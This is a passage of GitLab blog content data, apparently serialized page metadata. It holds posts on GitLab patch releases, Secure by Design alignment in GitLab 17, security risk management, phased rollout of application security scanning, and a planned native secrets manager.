Protection","en-us/blog/prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection.yml","en-us/blog/prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection",{"_path":1962,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1963,"content":1969,"config":1974,"_id":1977,"_type":16,"title":1978,"_source":17,"_file":1979,"_stem":1980,"_extension":20},"/en-us/blog/gitlab-patch-release-17-0-2-16-11-4-16-10-7",{"title":1964,"description":1965,"ogTitle":1964,"ogDescription":1965,"config":1966,"ogImage":1381,"ogUrl":1967,"ogSiteName":767,"ogType":768,"canonicalUrls":1967,"schema":1968},"GitLab Patch Release: 17.0.2, 16.11.4, 16.10.7","Learn more about GitLab Patch Release: 17.0.2, 16.11.4, 16.10.7 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-0-2-16-11-4-16-10-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.0.2, 16.11.4, 16.10.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Myers\"}],\n        \"datePublished\": \"2024-06-12\",\n      }",{"title":1964,"description":1965,"authors":1970,"heroImage":1381,"date":1971,"body":1972,"category":14,"tags":1973},[1467],"2024-06-12","This is the blog post for [GitLab Patch Release: 17.0.2, 16.11.4, 16.10.7](https://about.gitlab.com/releases/2024/06/12/patch-release-gitlab-17-0-2-released/).",[1292,1892],{"slug":1975,"featured":6,"template":677,"externalUrl":1976},"gitlab-patch-release-17-0-2-16-11-4-16-10-7","https://about.gitlab.com/releases/2024/06/12/patch-release-gitlab-17-0-2-released/","content:en-us:blog:gitlab-patch-release-17-0-2-16-11-4-16-10-7.yml","Gitlab Patch Release 17 0 2 16 11 4 16 10 7","en-us/blog/gitlab-patch-release-17-0-2-16-11-4-16-10-7.yml","en-us/blog/gitlab-patch-release-17-0-2-16-11-4-16-10-7",{"_path":1982,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1983,"content":1989,"config":1995,"_id":1997,"_type":16,"title":1998,"_source":17,"_file":1999,"_stem":2000,"_extension":20},"/en-us/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17",{"title":1984,"description":1985,"ogTitle":1984,"ogDescription":1985,"noIndex":6,"ogImage":1986,"ogUrl":1987,"ogSiteName":767,"ogType":768,"canonicalUrls":1987,"schema":1988},"Secure by Design principles meet DevSecOps innovation in GitLab 17","GitLab reinforced a commitment to Secure by Design principles across key aspects of the software development lifecycle in latest release, further protecting the software supply chain.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676004/Blog/Hero%20Images/blog-image-template-1800x945__6_.png","https://about.gitlab.com/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Secure by Design principles meet DevSecOps innovation in GitLab 17\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Elisabeth Burrows\"}],\n        \"datePublished\": \"2024-06-05\",\n      }",{"title":1984,"description":1985,"authors":1990,"heroImage":1986,"date":1992,"body":1993,"category":14,"tags":1994},[1991],"Elisabeth Burrows","2024-06-05","Secure by Design just [turned one](https://about.gitlab.com/blog/happy-birthday-secure-by-design/)! Introduced by the Cybersecurity and Infrastructure Security Agency (CISA) a little over a year ago, Secure by Design principles serve as a directive for technology providers to embed security at the heart of their products from the outset of development. This approach is the clearest answer to address cyber attacks, dramatically reducing the number of exploitable flaws before they are introduced to the market for broad use or consumption. Cyberattacks can be more prevalent when businesses and vendors “bolt on” security as an afterthought, amplifying the need for Secure by Design solutions. With the launch of [GitLab 17](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/), we have strengthened our commitment to Secure by Design principles across five key aspects of the software development lifecycle. Although no supply chain is 100% immune to cyber threats, it is imperative to embrace a proactive security strategy to protect against persistent threats from malicious actors.\n\n> Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Watch today!](https://about.gitlab.com/seventeen/)\n\n## How GitLab 17 aligns with Secure by Design principles\n\n### 1. Enhance secure coding practices\n\nFostering secure software development practices is a key element to CISA’s Secure by Design framework. CISA recommends alignment to the [Secure Software Development Framework (SSDF)](https://csrc.nist.gov/pubs/sp/800/218/final) from the National Institute of Standards and Technology (NIST). GitLab’s robust [application security scanners](https://about.gitlab.com/blog/getting-started-with-gitlab-application-security/) demonstrate strong default alignment to this framework. In GitLab 17, we added streamlined Static Application Security Testing ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)) analyzer coverage for more languages, offering a simpler, more customizable scan experience. The recent [acquisition of Oxeye](https://about.gitlab.com/press/releases/2024-03-20-gitlab-acquires-oxeye-to-advance-application-security-and-governance-capabilities/) enhances SAST accuracy, reducing false positives and offering actionable insights to tackle application-layer risks proactively. Other related improvements in GitLab 17 include [API Security Testing analyzer](https://docs.gitlab.com/ee/user/application_security/api_security_testing/) updates, [advanced vulnerability tracking for Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#advanced-vulnerability-tracking), and [Dependency Scanning support for Android](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/index.html#enabling-dependency-scanning-by-using-cicd-components). GitLab also continues to improve its [dynamic software bill of materials (SBOM) management](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/) capabilities.\n\n### 2. Manage vulnerabilities at scale\n\nMalicious actors capitalize on cost-effective tactics, leveraging basic vulnerabilities to cause widespread disruption. GitLab’s [Vulnerability Report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) enables you to quantify risk across your portfolio in a single view, identifying key vulnerability details throughout your supply chain. \nImprovements to [Vulnerability Report filtering](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/#vulnerability-report-filters) in GitLab 17 increased usability of the report at scale. Actionable security findings are vital for developers to address critical weaknesses. GitLab provides [vulnerability insights](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/), [security training for vulnerabilities](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#view-security-training-for-a-vulnerability), and [vulnerability explanation](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-explanation). \n\n### 3. Transition to memory-safe languages with AI\n\nIn a recent [virtual panel with the Atlantic Council](https://www.atlanticcouncil.org/event/the-secure-by-design-imperative/), CISA Senior Technical Advisor Jack Cable stated, “Technology manufacturers must focus on eliminating entire classes of vulnerability, rather than playing “whack-a-mole” with their defects.” In CISA’s [Secure by Design whitepaper](https://www.cisa.gov/sites/default/files/2023-10/SecureByDesign_1025_508c.pdf), they recommend that manufacturers take steps to eliminate one of the largest classes of vulnerabilities by migrating existing products and building new products using memory-safe languages. A memory-safe language is a language where memory allocation and garbage collection are abstracted away from the developer and handled by the programming language itself. Such languages include Python, Java, and Go, to name a few. Vulnerabilities related to memory safety are the most common and dangerous. Technology manufacturers can effectively address vulnerabilities by integrating memory-safe language development practices. [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our suite of AI-powered features, provides AI-accelerated assistance for memory-safe code conversions:\n\n- Accelerate application development: [GitLab Duo Code Explanation](https://docs.gitlab.com/ee/user/ai_features.html#code-explanation-in-the-ide) succinctly articulates code functionality in everyday language, helping developers understand code quickly and add value faster. [GitLab Duo Code Suggestions](https://docs.gitlab.com/ee/user/ai_features.html#code-suggestions) assists developers in writing secure code efficiently and speeding up cycle times by handling repetitive coding tasks effectively.\n- Convert to memory-safe code: [GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat_examples.html#refactor-code-in-the-ide) can help expedite memory-safe language refactoring by suggesting changes based on coding patterns, libraries, functions, algorithms, programming languages, performance, or vulnerabilities.\n- Secure AI-generated code: [GitLab Duo Vulnerability Explanation](https://docs.gitlab.com/ee/user/ai_features.html#vulnerability-explanation) provides clear insights into identified security issues, while [GitLab Duo Vulnerability Resolution](https://docs.gitlab.com/ee/user/ai_features.html#vulnerability-resolution) can automatically generate a merge request to mitigate a vulnerability. \n\nIn GitLab 17, we also have added the means to validate and track AI impact to your development progress through [AI Impact Analytics](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/).\n\n### 4. Align to the principle of least privilege\n\nAligning product deployment guides with zero trust architecture, such as the [CISA Zero Trust Maturity Model](https://www.cisa.gov/sites/default/files/2023-04/zero_trust_maturity_model_v2_508.pdf), is a key recommendation in Secure by Design. In zero trust security, the [principle of least privilege (PoLP)](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/0) is a key element within the overarching framework. The PoLP is a concept in which a user's access rights should be limited to the bare minimum needed for them to complete the tasks required within their respective roles. By keeping a tight rein on user access rights, granting only the necessary permissions for their tasks, organizations uphold the core tenet of [zero trust](https://about.gitlab.com/blog/why-devops-and-zero-trust-go-together/). Maintaining a clear separation of duties is the first step in upholding this principle. GitLab's [policy management](https://docs.gitlab.com/ee/administration/compliance.html#policy-management) features empower security and compliance teams to oversee operations while defining responsibilities among security, compliance, legal, and engineering units. By implementing GitLab's [security policies](https://docs.gitlab.com/ee/user/application_security/policies/), development teams gain process flexibility, ensuring the delivery of stable, reliable, and high-quality code. With the ability to establish rules and policies tailored to the organization's unique needs, teams can utilize granular user roles, permissions, and customizable compliance settings for specific projects, groups, and individuals. GitLab 17 introduces enhanced governance controls via [permissions customizations](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#new-permissions-for-custom-roles), reducing unnecessary privilege escalation.\n\n## How we are committed to Secure by Design principles\n\nOne of the principles of Secure by Design business practices is the notion of leading from the top. It's imperative for organizations to secure executive buy-in that places Secure by Design at the forefront of business priorities, nurturing an environment where security takes precedence. GitLab recently joined the ranks of technology leaders who signed CISA’s [Secure by Design Pledge](https://www.cisa.gov/securebydesign/pledge/statements-of-support#JoshLemosCISOGitLab), showcasing our commitment to uphold CISA’s Secure by Design goals. This public commitment, paired with strategic investments, a culture of transparency, and product designs that prioritize security, fosters a robust security ethos that directly benefits end users. With the launch of GitLab 17, GitLab propels security and compliance solutions forward, harnessing AI advancements to empower clients to embrace a Secure by Design methodology with confidence.\n\n> Get familiar with GitLab's secure-by-design platform today with a [free 30-day trial of GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial). \n",[184,14,479,776],{"slug":1996,"featured":92,"template":677},"secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17","content:en-us:blog:secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17.yml","Secure By Design Principles Meet Devsecops Innovation In Gitlab 17","en-us/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17.yml","en-us/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17",{"_path":2002,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2003,"content":2008,"config":2014,"_id":2016,"_type":16,"title":2017,"_source":17,"_file":2018,"_stem":2019,"_extension":20},"/en-us/blog/3-tips-to-improve-your-security-risk-management-program",{"title":2004,"description":2005,"ogTitle":2004,"ogDescription":2005,"noIndex":6,"ogImage":1483,"ogUrl":2006,"ogSiteName":767,"ogType":768,"canonicalUrls":2006,"schema":2007},"3 tips to improve your security risk management program","Establishing a security risk management program is more than just checking the compliance box. Here are a few ways to help better protect information and support strategic decision-making.","https://about.gitlab.com/blog/3-tips-to-improve-your-security-risk-management-program","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 tips to improve your security risk management program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kyle Smith\"}],\n        \"datePublished\": \"2024-05-28\",\n      }",{"title":2004,"description":2005,"authors":2009,"heroImage":1483,"date":2011,"body":2012,"category":14,"tags":2013},[2010],"Kyle Smith","2024-05-28","Risk management is typically viewed as a check-the-box compliance activity. It can also be seen as a blocker. Effective risk management programs provide their company’s decision-makers with relevant, reliable, and usable information to support the achievement of objectives and mitigation of risks. [GitLab’s Security Operational Risk Management (StORM) program](https://handbook.gitlab.com/handbook/security/security-assurance/security-risk/storm-program/) identifies, monitors, and supports the remediation of security risks. Risk information from the StORM program informs our Security division’s strategy and helps to maintain the [confidentiality, integrity, and availability (CIA)](https://www.techtarget.com/whatis/definition/Confidentiality-integrity-and-availability-CIA) of customer and GitLab data. We’ve made some changes over the past year to our risk management practices to better support strategic decision-making and we’d like to share some of these changes in the spirit of [collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) and [transparency](https://handbook.gitlab.com/handbook/values/#transparency).\n\n## Aggregate and self-serve risk information\nRisk information measures and contextualizes risks. For example, if we have a risk related to identity management, helpful risk information might be the number of open compliance observations related to identity management (for example, lack of multi-factor authentication for # applications). A more qualitative example for the same risk could be the latest developments related to the rollout of a single sign-on (SSO) platform. \n\nThe efficiency of self-serving risk information will depend on the level of access you have to company information. Aggregating risk information at GitLab involves searching the following sources (among others):\n\n- [GitLab](https://gitlab.com/) - GitLab objects (i.e., epics, issues, and merge requests) related to our risk\n- Google Drive - documents, spreadsheets, and presentations\n- Shared calendars - meetings, agendas, and recordings\n- Slack - recent announcements and discussions\n- [The GitLab Handbook](https://handbook.gitlab.com/handbook/) - policies, key contacts, operational guides, and roadmaps\n\nBy finding risk information ourselves, we get familiar with the risks, identify key team members, reduce the risk of bias, and save risk owners time. When pulling information from other teams/departments/functions that report on risks (for example, Internal Audit), highlight that overlap to show a more comprehensive view of your risks. In your search for risk information, try to find out if customers are interested in this risk and what competitors are doing about it? Linking disparate information in an easily consumable way also helps folks get up to speed quickly (very helpful for new team members).\n\n## Identify metrics to contextualize risks\n\nRisks can be ambiguous. Having metrics to help put them into context and measure progress toward a goal [is key to making better decisions](https://online.hbs.edu/blog/post/data-driven-decision-making). How are these risks affecting the achievement of objectives, what does success look like? Identify the end goal and how that can be measured. Even if the information for the metric isn’t readily available, it’s a helpful guide until you can establish the metric or activity that generates the metric. High-level metrics are also helpful to understand the breadth and complexity of your company such as number of:\n- team members\n- temporary service providers (i.e., contractors)\n- applications in your tech stack\n- production servers\n- active vendors\n- countries in which your company operates\n\nWhen documenting or presenting this information (ex., a [quarterly risk report](https://handbook.gitlab.com/handbook/security/security-assurance/security-risk/storm-program/#risk-tracking-and-reporting)), it’s [helpful to link](https://handbook.gitlab.com/handbook/communication/#cross-link) out to the source of these metrics so that they can be viewed by readers. Ask decision-makers for feedback on these metrics, asking, \"Is what we have helpful or is there anything else you'd like to see?\"\n\n## Open up access to risk information for greater awareness and engagement\n\nAccess to risk-related information, audit findings, and other compliance output is usually restricted to specific teams or select team members. Does it have to be? We’ve found that opening up access and hosting it on a familiar platform (GitLab for us) has increased engagement and awareness.\n\nRisks and objectives are always changing. Differing perspectives gained from greater transparency can help refine risks and create an environment for new ideas. Risks should be considered [always in draft](https://handbook.gitlab.com/handbook/values/#everything-is-in-draft) and contributions from risk owners and other contributors should be encouraged.\n\nHave you tried any of the above suggestions? If so, how did it go? Or do you have ideas about how we can better support security-related decision-making? We’d love to hear from you. Please [share feedback in our forum](https://forum.gitlab.com/t/3-tips-to-improve-your-security-risk-management-program/104994) or email us directly at `securityrisk@gitlab.com`.\n\nIf you’d like to learn more about how we manage security risk, please check out [the StORM program](https://handbook.gitlab.com/handbook/security/security-assurance/security-risk/storm-program/) in the GitLab Handbook.",[14,776],{"slug":2015,"featured":92,"template":677},"3-tips-to-improve-your-security-risk-management-program","content:en-us:blog:3-tips-to-improve-your-security-risk-management-program.yml","3 Tips To Improve Your Security Risk Management Program","en-us/blog/3-tips-to-improve-your-security-risk-management-program.yml","en-us/blog/3-tips-to-improve-your-security-risk-management-program",{"_path":2021,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2022,"content":2028,"config":2033,"_id":2036,"_type":16,"title":2037,"_source":17,"_file":2038,"_stem":2039,"_extension":20},"/en-us/blog/gitlab-patch-release-17-0-1-16-11-3-16-10-6",{"title":2023,"description":2024,"ogTitle":2023,"ogDescription":2024,"config":2025,"ogImage":1381,"ogUrl":2026,"ogSiteName":767,"ogType":768,"canonicalUrls":2026,"schema":2027},"GitLab Patch Release: 17.0.1, 16.11.3, 16.10.6","Learn more about GitLab Patch Release: 17.0.1, 16.11.3, 16.10.6 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-0-1-16-11-3-16-10-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.0.1, 16.11.3, 16.10.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Alfaro\"}],\n        \"datePublished\": \"2024-05-22\",\n      }",{"title":2023,"description":2024,"authors":2029,"heroImage":1381,"date":2030,"body":2031,"category":14,"tags":2032},[1288],"2024-05-22","This is the security release post for [GitLab Patch Release: 17.0.1, 16.11.3, 16.10.6](https://about.gitlab.com/releases/2024/05/22/patch-release-gitlab-17-0-1-released/).",[1292,1892,479],{"slug":2034,"featured":6,"template":677,"externalUrl":2035},"gitlab-patch-release-17-0-1-16-11-3-16-10-6","https://about.gitlab.com/releases/2024/05/22/patch-release-gitlab-17-0-1-released/","content:en-us:blog:gitlab-patch-release-17-0-1-16-11-3-16-10-6.yml","Gitlab Patch Release 17 0 1 16 11 3 16 10 6","en-us/blog/gitlab-patch-release-17-0-1-16-11-3-16-10-6.yml","en-us/blog/gitlab-patch-release-17-0-1-16-11-3-16-10-6",{"_path":2041,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2042,"content":2048,"config":2054,"_id":2056,"_type":16,"title":2057,"_source":17,"_file":2058,"_stem":2059,"_extension":20},"/en-us/blog/7-steps-to-enhance-application-security-without-slowing-developer-velocity",{"title":2043,"description":2044,"ogTitle":2043,"ogDescription":2044,"noIndex":6,"ogImage":2045,"ogUrl":2046,"ogSiteName":767,"ogType":768,"canonicalUrls":2046,"schema":2047},"7 steps to enhance application security without slowing developer velocity","Learn how to incrementally enable scanning to successfully shift-left security while keeping development at pace.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099154/Blog/Hero%20Images/Blog/Hero%20Images/applicationsecurity_applicationsecurity.png_1750099154308.png","https://about.gitlab.com/blog/7-steps-to-enhance-application-security-without-slowing-developer-velocity","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"7 steps to enhance application security without slowing developer velocity\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julie Byrne\"}],\n        \"datePublished\": \"2024-05-21\",\n      }",{"title":2043,"description":2044,"authors":2049,"heroImage":2045,"date":2051,"body":2052,"category":14,"tags":2053},[2050],"Julie Byrne","2024-05-21","Organizations are feeling an increased sense of urgency to ensure the security of their built applications by putting in place cybersecurity protocols. However, as they enable security analyzers on source code and related assets, they find that the amount of data they are getting in terms of potential vulnerabilities is overwhelming to development teams. This article provides seven steps to take to implement scans without dramatically slowing down developer velocity. This tutorial is based on my work with customers who have experienced this dilemma.\n\n## The need for increased application security\n\nApplication security has become a greater a focus for organizations in part because of the following reasons:\n\n- Recent [high-profile cyber attacks](https://www.cm-alliance.com/cybersecurity-blog/biggest-cyber-attacks-data-breaches-ransomware-attacks-february-2024) have had major business impacts, including long outage windows, stolen data, and ransoms being paid.\n- The U.S. government released a series of [executive orders concentrated on software supply chain security](https://www.whitehouse.gov/omb/briefing-room/2022/09/14/enhancing-the-security-of-the-software-supply-chain-to-deliver-a-secure-government-experience/) and now requires that vendors supply a [software bill of materials (SBOM)](https://www.cisa.gov/sbom) that lists the ingredients in terms of open source libraries that make up a software application. \n - Compliance standards such as [SOC2](https://about.gitlab.com/blog/how-gitlab-can-help-with-your-soc-2-audit/), which mandate companies to validate the security of their applications, are becoming more common in many industries.\n\nOne way to meet this demand for increased application security is by enabling security scans, but that can be an overwhelming proposition. Consider, for example, a technology startup with Series A funding building a SaaS application. Security scans are crucial for compliance, but so is optimizing the velocity of new feature development. These goals can seem contradictory, at times. Organizations in this situation are often uncertain about what approach to take to ensure compliance standards are met and their applications are as secure as possible without bringing developer velocity to a halt.\n\n## How to keep development fast and secure\n\nHere are the steps to take to ensure that your development can keep pace while still meeting compliance and security requirements.\n\n### Step 1: Assess the current state of development\n\nYour starting point with security scans is going to be strongly dependent on the details of the applications you build, in terms of both the industries and customer base you serve, and the frameworks, languages, and cloud technologies used to build and deploy the application.  A company producing an embedded device, for example, will have a completely different set of concerns than a company producing a SaaS application. It's important to bring together your technology leaders, cybersecurity experts, business executives, and others with the appropriate business and technology expertise to understand:\n- the compliance standards that apply to the applications you're producing\n- the types potential vulnerabilities that present the biggest threat based on industry research and your application and network architecture\n\nKnowing these characteristics will assist in your development of your threat landscape: your application's identified and potential cyberthreats. \n\nIf you have a variety of applications, start small and test your scanning and vulnerability management program with a few pilot applications. Choose the applications that are the most critical and/or will provide the best validation and feedback to inform enhancements to your application security strategy.\n\nThis assessment will help identify what security scans you want to enable for these pilot applications.\n\n### Step 2: Enable security scans\n\nNext, you'll want to conduct initial scans of the pilot applications you identified in Step 1. The initial scans should be done outside of development pipelines so that you do not distract the developers who are implementing new features and bug fixes. In GitLab, you can use [scan execution policies](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html) to enable scheduled scans of the default branch.  \n\n![7 steps app security - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099164/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099164066.png)\n\nYou should only enable the highest priority scans based on the threat landscape you identified in Step 1.  While every customer will be slightly different, GitLab customers commonly start with secrets detection and dependency scanning at a bare minimum.\n\n### Step 3: Evaluate scan results\n\nOnce you have the results of initial scans for pilot applications, you will want to analyze the results. \n\nAre there vulnerabilities that are false positives based on your specific application architecture?  One example of this might be a dependency scan finding vulnerabilities in libraries that are only used in a development environment as part of a test framework but are not used for the build of the production application. These vulnerabilities can be safely ignored.  \n\nAre there vulnerabilities that are just “noise” and not really important? Many static application security testing (SAST) scanner default rule configurations will find hundreds of low severity vulnerabilities in source code that you might decide are not the most important thing to focus on right now.  \n\nFinally, based on your knowledge of the applications, and the risk assessments performed, are there areas of potential vulnerabilities that have not been uncovered with the existing scans? You’ll want to understand where gaps lie that might need additional scanners or manual assessment.\n\n### Step 4: Adjust scan analyzers and rules used\n\nUse the evaluation of the initial scan results to define processes for vulnerability triaging and remediation. Then adjust the scanner rules to only focus on what’s most important. This is a crucial step to ensure that development velocity does not dramatically slow down due to development teams having many low-priority vulnerabilities to sort through as they implement code changes. For example, a SAST analyzer rule might find critical vulnerabilities in a code that runs on an IoT device. That device, however, has other security controls that effectively mitigate exploitability of a latent vulnerability in the embedded code. In this case, thevulnerabilities are not of concern and you can safely disable the rule.\n\nSimilarly, if you find that your testers commonly use personally identifiable information in test data that sometimes inadvertently gets committed to the code repository, then you will want to create a custom secrets detection rule that looks for the appropriate string patterns for this PII data.\n\nGitLab allows you to customize rulesets for [SAST](https://docs.gitlab.com/ee/user/application_security/sast/customize_rulesets.html) and [secrets detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/index.html#customizing-analyzer-settings). As you implement custom rulesets, be sure to clearly document rule customizations and rationale for each and review them periodically.\n\n### Step 5: Prioritize initial vulnerabilities for remediation\n\nBusiness, product, and development leaders should agree on the importance of remediating high priority vulnerabilities and convey that importance to development teams. It is crucial for development teams to plan to work on the highest priority vulnerability remediation along with feature work. Vulnerabilities with a clear and practical attack vector should be prioritized and added to the backlog.  Vulnerabilities that are not a priority for remediation can be left open in the confirmed state or be dismissed as an acceptable risk or a false positive.   Add notes to capture the dismissal reason for auditing purposes. This prioritization strategy is one more step that can prevent slowdowns in developer velocity.  \n\n### Step 6: Enable scans in development pipelines\n\nAfter completing the five steps above, you now have enough information to formalize your security scan program and bring the developers for the pilot applications into the fold. You'll want to start to drive developer participation in application security sooner rather than later, but take an iterative approach.  Start small by introducing the highest priority scans, with any custom configurations identified in the initial scans, into development pipelines via triggered jobs defined in [scan execution policies](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html).  Be sure to configure scan jobs to run in parallel with other CI jobs you've already defined for your application. \n\nMonitor pipeline times to ensure scans are not dramatically slowing down time to completion, and configure any extremely slow scans such as dynamic applications security testing to run on a scheduled basis instead of being triggered on commits to a feature branch. This will ensure that developers are still getting fast feedback as they are working on code changes for new features and bug fixes.\n\nAs much as possible, you will want to start with providing developer visibility of found vulnerabilities first without adding any enforcement or blocking of the merge of code changes.  The GitLab [merge request widget](https://docs.gitlab.com/ee/user/application_security/#merge-request) shows new potential vulnerabilities found in the feature branch to provide visibility to developers of the security impact of their code changes. If certain critical vulnerabilities are becoming commonplace, consider enabling [merge request approval policies](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) only for newly found critical vulnerabilities to put some guardrails in place without requiring too much extra process that slows down developers.\n\nAt the same time, educate the developers to understand what the security vulnerabilities mean and how to remediate them. GitLab integrates with the [security training providers](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#enable-security-training-for-vulnerabilities) Secure Code Warrior, Kontra, and SecureFlag to help your developers learn how to fix vulnerabilities, providing links on the vulnerability details page to the appropriate training resources that match a vulnerability identifier.\n\nLastly, drive a collaborative environment between development, security, and operations. Application security should be a joint initiative with clear priority across all roles. By helping developers understand potential vulnerabilities early in the software development lifecycle and remediate them when warranted, they will spend much less effort than having to remediate them at later stages, and that will allow teams to continue to have capacity for new feature development.\n\n### Step 7: Rinse and repeat\n\nCongratulations! You now have a security scan and vulnerability remediation program enabled for a set of pilot teams.  But the job is not done. You will want to focus on continuous improvement – incorporate what you learn from the pilot teams and iterate. Then, enable a second wave of teams, following all of the defined steps.  You'll want to continue with small sets of teams until security scans have been enabled across all relevant applications.\n\n## Read more\n\n- [Getting started with application security documentation](https://docs.gitlab.com/ee/user/application_security/get-started-security.html)\n- [How to tailor SAST and secret detection to your application context with custom rulesets](https://about.gitlab.com/blog/rule-pack-synthesis/)\n- [Webinar: Starting a Vulnerability Remediation Program](https://youtu.be/CS_GlJGtnpM?feature=shared)\n- [Video tutorial: Creating security policies - the basics (3:06)](https://www.youtube.com/watch?v=IZbCIKXz-wM)\n\n> Watch the on-demand [\"Vulnerability Management Strategies\" webinar](https://www.youtube.com/watch?v=CS_GlJGtnpM) and [review the accompanying slide deck](https://content.gitlab.com/viewer/663d56826ff2240911aac5f0).",[14,776],{"slug":2055,"featured":92,"template":677},"7-steps-to-enhance-application-security-without-slowing-developer-velocity","content:en-us:blog:7-steps-to-enhance-application-security-without-slowing-developer-velocity.yml","7 Steps To Enhance Application Security Without Slowing Developer Velocity","en-us/blog/7-steps-to-enhance-application-security-without-slowing-developer-velocity.yml","en-us/blog/7-steps-to-enhance-application-security-without-slowing-developer-velocity",{"_path":2061,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2062,"content":2067,"config":2074,"_id":2076,"_type":16,"title":2077,"_source":17,"_file":2078,"_stem":2079,"_extension":20},"/en-us/blog/gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost",{"title":2063,"description":2064,"ogTitle":2063,"ogDescription":2064,"noIndex":6,"ogImage":1502,"ogUrl":2065,"ogSiteName":767,"ogType":768,"canonicalUrls":2065,"schema":2066},"GitLab native secrets manager boosts supply chain security","GitLab is building a secrets manager that is key to providing an end-to-end, cloud-agnostic approach to the management of sensitive information.","https://about.gitlab.com/blog/gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab native secrets manager to give software supply chain security a boost\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jocelyn Eillis\"}],\n        \"datePublished\": \"2024-05-20\",\n      }",{"title":2068,"description":2064,"authors":2069,"heroImage":1502,"date":2071,"body":2072,"category":14,"tags":2073},"GitLab native secrets manager to give software supply chain security a boost",[2070],"Jocelyn Eillis","2024-05-20","In a constantly evolving digital world, keeping the software supply chain and sensitive information secure is a priority for organizations of all sizes. To reduce the complexity associated with managing multiple infrastructure tools, GitLab plans to release a native secrets manager later this year that will enable users to manage and scale secrets across the DevSecOps platform. This cloud-agnostic, built-in solution has a [similar look and feel to the CI Variables experience](https://gitlab.com/groups/gitlab-org/-/epics/11373) in GitLab, which will make it easier to learn and, therefore, lower friction to adopt.\n\n## What are secrets and a secrets manager?\n\n- A **secret** is a piece of data that acts as a credential to authenticate with systems or services. Secrets are highly sensitive and should be protected from unauthorized use or exposure. Examples of secrets include passwords, API keys, and certificates.\n\n- A **secrets manager** is a centralized tool that stores and manages these secrets throughout their lifecycle. Secrets are stored using unique encryption keys in order to achieve isolation, in this case, across GitLab.\n\n## Current state of secrets management within GitLab\n\nBecause GitLab does not currently have a native secrets manager, we have recommended using a third-party solution. Users leverage third-party secrets storage providers through our [OIDC connection method](https://docs.gitlab.com/ee/ci/secrets/id_token_authentication.html) (Free tier) or via native integrations (currently available for [HashiCorp Vault](https://docs.gitlab.com/ee/ci/secrets/#use-vault-secrets-in-a-ci-job), [Azure Key Vault](https://docs.gitlab.com/ee/ci/secrets/azure_key_vault.html), and [Google Secret Manager](https://docs.gitlab.com/ee/ci/secrets/gcp_secret_manager.html) (Premium and Ultimate tier). However, we understand a third-party provider can be resource-prohibitive for some users because of the overhead for setup and managing user roles and integrations, as well as additional costs.\n\n## About the GitLab secrets manager\n\nThe GitLab secrets manager will allow customers to store sensitive credentials within the GitLab DevSecOps platform, which will simplify management and reduce risk of leaking sensitive information. Our [initial release of the native secrets manager](https://gitlab.com/groups/gitlab-org/-/epics/10723) will be focused on bringing secrets management to the CI workflow, then workflows across all of GitLab. We have 